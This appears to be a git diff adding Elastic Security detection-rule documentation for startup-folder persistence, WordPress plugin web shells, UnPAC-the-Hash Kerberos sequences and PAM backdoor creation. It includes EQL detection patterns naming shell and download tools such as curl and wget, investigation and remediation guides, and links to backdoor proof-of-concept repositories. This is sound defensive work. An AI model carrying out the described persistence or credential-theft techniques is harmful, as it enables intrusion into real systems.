Modification - c8b150f0-0164-475b-a75e-74b47800a9ff +- Startup Folder Persistence via Unsigned Process - 2fba96c0-ade5-4bce-b92f-a5df2509da3f + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + + /* Call attention to file extensions that may be used for malicious purposes */ + /* Optionally, Windows scripting engine processes targeting shortcut files */ + ( + file.extension : ("vbs", "vbe", "wsh", "wsf", "js", "jse", "sct", "hta", "ps1", "bat", "cmd") or + process.name : ("wscript.exe", "cscript.exe") + ) and not (startsWith(user.domain, "NT") or endsWith(user.domain, "NT")) + + /* Identify files created or changed in the startup folder */ + and file.path : ( + "?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", + "?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Sub-technique: +** Name: Shortcut Modification +** ID: T1547.009 +** Reference URL: https://attack.mitre.org/techniques/T1547/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-php-file-creation-in-wordpress-plugin-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-php-file-creation-in-wordpress-plugin-directory.asciidoc new file mode 100644 index 0000000000..207bce257d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-php-file-creation-in-wordpress-plugin-directory.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-php-file-creation-in-wordpress-plugin-directory]] +=== PHP File Creation in WordPress Plugin Directory + +Detects the creation of a PHP file in the WordPress plugin directory, which is a common technique used by attackers to establish persistence on a compromised web server. Attackers may upload a malicious PHP file and call it from a web browser to gain remote access to the server. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/Icex0/wp2shell-poc + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Web Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating PHP File Creation in WordPress Plugin Directory* + + +This alert flags a new or modified PHP file under a WordPress plugin folder when it was written by a web server, PHP handler, shell, or download utility. That matters because attackers often hide webshells or rogue plugin code there to survive on a compromised site and run commands remotely. A common pattern is exploiting a vulnerable plugin to upload a backdoor into wp-content/plugins and then calling it from a browser. + + +*Possible investigation steps* + + +- Determine whether the new PHP file is part of a legitimate plugin installation or update by comparing its path, filename, hash, and timestamp against the official plugin package and your deployment records. +- Review the file contents for common webshell indicators such as obfuscation, eval or base64_decode chains, command execution functions, upload handlers, or hardcoded external URLs, and extract any indicators for broader searching. +- Correlate the write time with web access logs and WordPress or PHP logs to identify the originating HTTP request, source IP, authenticated user, target endpoint, and any upload or admin action that preceded the file creation. +- Trace the creating activity through parent and child processes, execution user, working directory, and any concurrent shell or download activity to separate expected maintenance from exploitation or post-compromise staging. +- Inspect the rest of the WordPress environment for related signs of compromise, including other newly modified plugin or theme files, unexpected administrator accounts, suspicious scheduled tasks, dropped archives, or unusual outbound connections. + + +*False positive analysis* + + +- A legitimate WordPress plugin installation or update can create or modify PHP files under `wp-content/plugins` through the normal web application update flow; verify the file path, name, hash, and timestamp match an approved plugin package and any recent administrator update activity. +- Authorized maintenance such as restoring a plugin from backup or deploying plugin code with `bash`, `sh`, `curl`, or `wget` can also trigger this alert; verify the process lineage and maintenance records show an expected bulk file change rather than an isolated unfamiliar PHP file. + + +*Response and remediation* + + +- Isolate the affected web server or container from the network and disable external access to the compromised WordPress site while preserving the malicious PHP file, related plugin directories, and relevant logs for evidence. +- Remove attacker persistence by deleting the malicious PHP file and any companion backdoors, rogue plugins, modified `.htaccess` entries, cron jobs, systemd timers, SSH keys, or unauthorized WordPress administrator accounts created during the intrusion. +- Reset exposed secrets by rotating WordPress admin passwords, hosting control panel credentials, SSH keys, database passwords, API tokens, and session cookies that may have been accessed from the compromised host. +- Restore the site from a known-good backup or redeploy the affected plugin and WordPress core from trusted packages, then verify hashes and review `wp-content/plugins`, `wp-content/themes`, and `uploads` for any remaining unauthorized PHP files or recent modifications. +- Escalate to incident response immediately if the webshell executed commands, multiple hosts show similar plugin-directory writes, sensitive data may have been accessed, or the attacker obtained root privileges, and expand scoping across reverse proxy, WAF, database, and authentication logs. +- Harden the environment by patching the exploited plugin or WordPress version, removing unused plugins, enforcing least-privilege write access so the web server cannot write to plugin directories, enabling MFA for administrators, and adding monitoring for new executable files under web content. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type in ("creation", "change") and ( + process.name in ( + "nginx", "apache2", "httpd", "php-cgi", "php-fcgi", "php-cgi.cagefs", "sw-engine-fpm", + "wget", "curl", "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "mksh", "busybox" + ) or + process.name like ("php-fpm*", "lsphp*", "*.cgi", "*.fcgi") +) and +file.path like~ "*/wp-content/plugins/*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pkinit-followed-by-same-principal-u2u-service-ticket.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pkinit-followed-by-same-principal-u2u-service-ticket.asciidoc new file mode 100644 index 0000000000..ae9e6b2369 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pkinit-followed-by-same-principal-u2u-service-ticket.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-pkinit-followed-by-same-principal-u2u-service-ticket]] +=== PKINIT Followed by Same-Principal U2U Service Ticket + +Identifies a successful PKINIT ticket-granting ticket request followed within five seconds on the same domain controller and source address by a successful user-to-user service-ticket request whose service SID matches the PKINIT principal SID. This sequence is consistent with the KDC-visible ticket requests used in an UnPAC-the-Hash attack, before client-side PAC credential decryption and NT hash recovery. The certificate used for PKINIT may have been obtained through CertiGhost or another certificate-abuse path. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://specterops.io/blog/2026/06/09/user-to-user-authentication-down-the-rabbit-hole-part-1/ +* https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/#obtaining-the-nt-hash-of-the-impersonated-computer-account +* https://github.com/FalconForceTeam/FalconFriday/blob/c662a6a0dc5d973beb3abb673d4e8cdc193bf469/0xFF-0299-UnPAC_the_hash-Win.md +* https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26 +* https://github.com/dirkjanm/PKINITtools/blob/0f0cfa542b0348609ad494713e84744234b2d3b0/getnthash.py + +*Tags*: + +* Domain: Identity +* Platform: Windows +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Rule Type: Event Correlation (EQL) +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Domain: Endpoint + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PKINIT Followed by Same-Principal U2U Service Ticket* + + +The query uses `winlog.event_data.PreAuthType` value `16` for `PA-PK-AS-REQ`, the PKINIT pre-authentication request +type. Both accepted `winlog.event_data.TicketOptions` masks include `FORWARDABLE`, `RENEWABLE`, `CANONICALIZE`, and +`ENC-TKT-IN-SKEY`; `ENC-TKT-IN-SKEY` is the option that identifies a user-to-user service-ticket request. +`0x40810018` also includes `RENEWABLE-OK`, while `0x40810008` does not. +Controlled request profiles produced both masks, so `RENEWABLE-OK` is not required. Neither mask is suspicious by +itself; the signal is the five-second same-domain-controller and source sequence with the 4768 `TargetSid` matching +the 4769 `ServiceSid`. + + +*Possible investigation steps* + + +- Did the 4769 requester match the PKINIT principal? + - Focus: `event.code`, `winlog.event_data.TargetUserName`, `winlog.event_data.TargetDomainName`, `winlog.event_data.TargetSid`, `winlog.event_data.ServiceSid`. + - Hint: Use Investigate in Timeline to review the matched 4768 and 4769 source events. Compare their `winlog.event_data.TargetUserName` values case-insensitively after removing any `@REALM` suffix, and compare `winlog.event_data.TargetDomainName`. Event 4769 exposes the requester name and domain, but not its SID; resolve ambiguous names through the directory before disposition. + - Implication: A resolved requester matching the 4768 principal supports the same-principal interpretation. Confirmed authorized UnPAC-the-Hash or PKINIT/U2U testing is a benign true positive. Keep a raw-name mismatch unresolved; if identity resolution and client or application evidence establish a different requester and unrelated events, close the alert as a false correlation. +- Does the rule-shaped pattern recur for the same domain controller and source address? + - Focus: `winlog.computer_name`, `source.ip`, `@timestamp`, `winlog.event_data.TargetSid`, `winlog.event_data.ServiceSid`. + - Hint: Reconstruct each sequence manually by checking order, the five-second interval, and the stage-local SID values. The following Timeline investigation returns 24 hours of matching PKINIT and U2U candidates for the shared domain controller and source address, not principal-specific history. !{investigate{"label":"Kerberos history for the same DC and source","providers":[[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4768","valueType":"string"},{"excluded":false,"field":"winlog.event_data.PreAuthType","queryType":"phrase","value":"16","valueType":"string"},{"excluded":false,"field":"winlog.event_data.Status","queryType":"phrase","value":"0x0","valueType":"string"}],[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4769","valueType":"string"},{"excluded":false,"field":"winlog.event_data.Status","queryType":"phrase","value":"0x0","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TicketOptions","queryType":"phrase","value":"0x40810008","valueType":"string"}],[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"source.ip","queryType":"phrase","value":"{{source.ip}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4769","valueType":"string"},{"excluded":false,"field":"winlog.event_data.Status","queryType":"phrase","value":"0x0","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TicketOptions","queryType":"phrase","value":"0x40810018","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Implication: Repeated valid pairs or different principals from the same source increase confidence in credential-recovery tooling. Recurrence does not prove client-side PAC decryption or NT hash recovery. +- What related activity corroborates or expands the scope? + - Focus: `winlog.computer_name`, `source.ip`, `winlog.event_data.TargetUserName`, `winlog.event_data.TargetSid`, `winlog.event_data.ServiceSid`. + - Hint: After reviewing the matched source events, search available identity, endpoint, certificate, and alert telemetry for the source address, principal, and domain controller. Look for upstream certificate abuse, client tooling, repeated PKINIT/U2U activity, or follow-on authentication. Missing telemetry is unresolved, not benign. + - Implication: Upstream certificate abuse, relevant client execution, or follow-on credential use supports escalation and broader scoping. Their absence does not clear the matched sequence. + +Escalate unexplained or corroborated sequences with the matched source events and source/principal scope. Close as a benign true positive only for confirmed authorized UnPAC-the-Hash or PKINIT/U2U testing, or as a false positive when identity resolution and client or application evidence prove an unrelated cross-principal correlation. Preserve available evidence and escalate mixed or incomplete cases. + + +*False positive analysis* + + +No known false positives have been identified. Validate the 4769 requester against the matched 4768 principal because event 4769 does not expose the requester SID. + +Avoid exceptions based only on a domain controller or source address. EQL exceptions evaluate each sequence member independently and cannot express the cross-stage SID relationship. + + +*Response and remediation* + + +- Preserve the alert, matched 4768/4769 source events, timestamps, identities, domain controller, and source address before disruptive action. +- If the client endpoint is identified, collect relevant volatile process or memory evidence before isolation or process termination. +- For confirmed malicious activity, contain the identified client and affected account with reversible controls where possible. Revoke a certificate only when evidence binds it to the activity, and rotate affected credentials when recovery or subsequent use is confirmed or the exposure assessment warrants it. +- Document confirmed indicators, matched source-event values, and any logging gaps for the responsible detection or logging owners after scoping and containment. + + +==== Setup + + + +*Setup* + + +Audit Kerberos Authentication Service and Audit Kerberos Service Ticket Operations must be enabled to generate the +events used by this rule. + +Setup instructions: + +- https://ela.st/audit-kerberos-authentication-service[Audit Kerberos Authentication Service] +- https://ela.st/audit-kerberos-service-ticket-operations[Audit Kerberos Service Ticket Operations] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name, source.ip with maxspan=5s + [authentication where host.os.type == "windows" and + event.code == "4768" and winlog.event_data.PreAuthType == "16" and + winlog.event_data.Status == "0x0" + ] by winlog.event_data.TargetSid + [authentication where host.os.type == "windows" and + event.code == "4769" and winlog.event_data.Status == "0x0" and + winlog.event_data.TicketOptions in ("0x40810008", "0x40810018") + ] by winlog.event_data.ServiceSid + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pluggable-authentication-module-or-configuration-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pluggable-authentication-module-or-configuration-creation.asciidoc new file mode 100644 index 0000000000..ec8579869e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pluggable-authentication-module-or-configuration-creation.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-pluggable-authentication-module-or-configuration-creation]] +=== Pluggable Authentication Module or Configuration Creation + +This rule monitors for the creation of Pluggable Authentication Module (PAM) shared object files or configuration files. Attackers may create these files to maintain persistence on a compromised system, or harvest account credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/zephrax/linux-pam-backdoor +* https://github.com/eurialo/pambd +* http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html +* https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pluggable Authentication Module or Configuration Creation* + + +Pluggable Authentication Modules (PAM) are integral to Linux systems, managing authentication tasks. Adversaries may exploit PAM by creating or altering its modules or configurations to gain persistence or capture credentials. The detection rule identifies suspicious activities by monitoring file operations in PAM directories, excluding legitimate processes, thus highlighting potential unauthorized modifications. + + +*Possible investigation steps* + + +- Review the file path and extension to determine if the modified or created file is a PAM shared object or configuration file, focusing on paths like "/lib/security/*", "/etc/pam.d/*", and "/etc/security/pam_*". +- Identify the process executable responsible for the file operation and verify if it is listed as an excluded legitimate process, such as "/bin/dpkg" or "/usr/bin/yum". If not, investigate the process further. +- Check the process execution history and command line arguments to understand the context of the file operation and assess if it aligns with typical system administration tasks. +- Investigate the user account associated with the process to determine if it has legitimate access and permissions to modify PAM files, and check for any signs of compromise or misuse. +- Examine recent system logs and security alerts for any related suspicious activities or anomalies that might indicate a broader attack or compromise. +- If the file operation is deemed suspicious, consider restoring the original PAM configuration from a known good backup and monitor the system for any further unauthorized changes. + + +*False positive analysis* + + +- Package management operations: Legitimate package managers like dpkg, rpm, and yum may trigger the rule during software updates or installations. To handle this, exclude these processes by adding them to the exception list in the rule configuration. +- System updates and maintenance: Processes such as pam-auth-update and systemd may modify PAM configurations during routine system updates. Exclude these processes to prevent false positives. +- Temporary files: Files with extensions like swp, swpx, and swx are often temporary and not indicative of malicious activity. Exclude these extensions to reduce noise. +- Development environments: Paths like /nix/store/* and /snap/* may be used in development or containerized environments. Consider excluding these paths if they are part of a known and secure setup. +- Automated scripts: Scripts using tools like sed or perl may create temporary files that match the rule's criteria. Exclude these specific patterns if they are part of regular, non-malicious operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Review the specific PAM module or configuration file that was created or modified to understand the changes made and assess the potential impact on system security. +- Restore the affected PAM files from a known good backup to ensure the integrity of the authentication process and remove any malicious modifications. +- Conduct a thorough scan of the system using updated antivirus and anti-malware tools to identify and remove any additional malicious software that may have been introduced. +- Monitor the system and network for any signs of continued unauthorized access or suspicious activity, focusing on the indicators of compromise related to PAM manipulation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement additional monitoring and alerting for PAM-related activities to enhance detection capabilities and prevent similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and process.executable != null and ( + (file.path like ( + "/lib/security/*", "/lib64/security/*", "/usr/lib/security/*", "/usr/lib64/security/*", + "/lib/x86_64-linux-gnu/security/*", "/usr/lib/x86_64-linux-gnu/security/*" + ) and file.extension == "so") or + (file.path like "/etc/pam.d/*" and file.extension == null) or + (file.path like "/etc/security/pam_*" or file.path == "/etc/pam.conf") +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/sbin/pam-auth-update", + "/usr/lib/systemd/systemd", "/usr/libexec/packagekitd", "/usr/bin/bsdtar", "/sbin/pam-auth-update", "./user/bin/podman", + "/usr/bin/dnf5", "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/crio", "/sbin/authconfig", "/usr/sbin/yum-cron", + "/sbin/yum-cron", "/usr/local/psa/bin/dnf_install", "/opt/jc/bin/jumpcloud-agent", "./usr/bin/podman", + "/kaniko/executor", "/opt/kaniko/executor", "/usr/bin/buildah", "/usr/sbin/pam-config", + "./usr/lib/snapd/snap-update-ns", "/usr/bin/install", "/usr/bin/env" + ) or + file.path like ( + "/tmp/snap.rootfs_*/pam_*.so", "/tmp/newroot/lib/*/pam_*.so", "/tmp/newroot/usr/lib64/security/pam_*.so" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + file.Ext.original.name like "*.pam-new" or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", "/usr/bin/python*", + "/opt/alt/python*/bin/python*", "/usr/libexec/platform-python*", "./snap/snapd/*/usr/lib/snapd/snap-update-ns" + ) or + (process.name == "sed" and file.name like~ "sed*") or + (process.name == "perl" and file.name like~ "e2scrub_all.tmp*") or + (process.name == "perl" and event.action == "rename" and file.Ext.original.name like "*.pam-new") or + process.name like ("python*", "platform-python*", "dockerd") or + (process.name == "vim.basic" and file.name like "*~") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pluggable-authentication-module-pam-creation-in-unusual-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pluggable-authentication-module-pam-creation-in-unusual-directory.asciidoc new file mode 100644 index 0000000000..cc1b2cbdd8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pluggable-authentication-module-pam-creation-in-unusual-directory.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-pluggable-authentication-module-pam-creation-in-unusual-directory]] +=== Pluggable Authentication Module (PAM) Creation in Unusual Directory + +This rule detects the creation of Pluggable Authentication Module (PAM) shared object files in unusual directories. Attackers may compile PAM shared object files in temporary directories, to move them to system directories later, potentially allowing them to maintain persistence on a compromised system, or harvest account credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/zephrax/linux-pam-backdoor +* https://github.com/eurialo/pambd +* http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html +* https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pluggable Authentication Module (PAM) Creation in Unusual Directory* + + +Pluggable Authentication Modules (PAM) are integral to Linux systems, managing authentication tasks. Adversaries may exploit PAM by creating malicious modules in non-standard directories, aiming to gain persistence or capture credentials. The detection rule identifies such anomalies by monitoring the creation of PAM files outside typical system paths, excluding benign processes and known directories, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the file creation event details, focusing on the file path and name to determine the exact location and nature of the PAM shared object file created. +- Investigate the process that created the file by examining the process name and its parent process to understand the context and legitimacy of the file creation. +- Check the user account associated with the process that created the file to assess if it has the necessary permissions and if the activity aligns with typical user behavior. +- Analyze recent system logs and command history for any suspicious activities or commands that might indicate an attempt to compile or move PAM modules. +- Correlate the event with other security alerts or anomalies on the system to identify potential patterns or coordinated actions that could indicate a broader compromise. +- If possible, retrieve and analyze the contents of the PAM shared object file to identify any malicious code or indicators of compromise. + + +*False positive analysis* + + +- Development and testing environments may compile PAM modules in temporary directories. To manage this, exclude paths commonly used for development, such as "/tmp/dev/*" or "/var/tmp/test/*". +- Containerized applications might create PAM modules in non-standard directories. Exclude processes like "dockerd" and "containerd" to prevent false positives from container operations. +- Package managers or system update tools may temporarily store PAM modules in unusual directories during updates. Exclude paths like "/var/cache/pacman/pkg/*" or 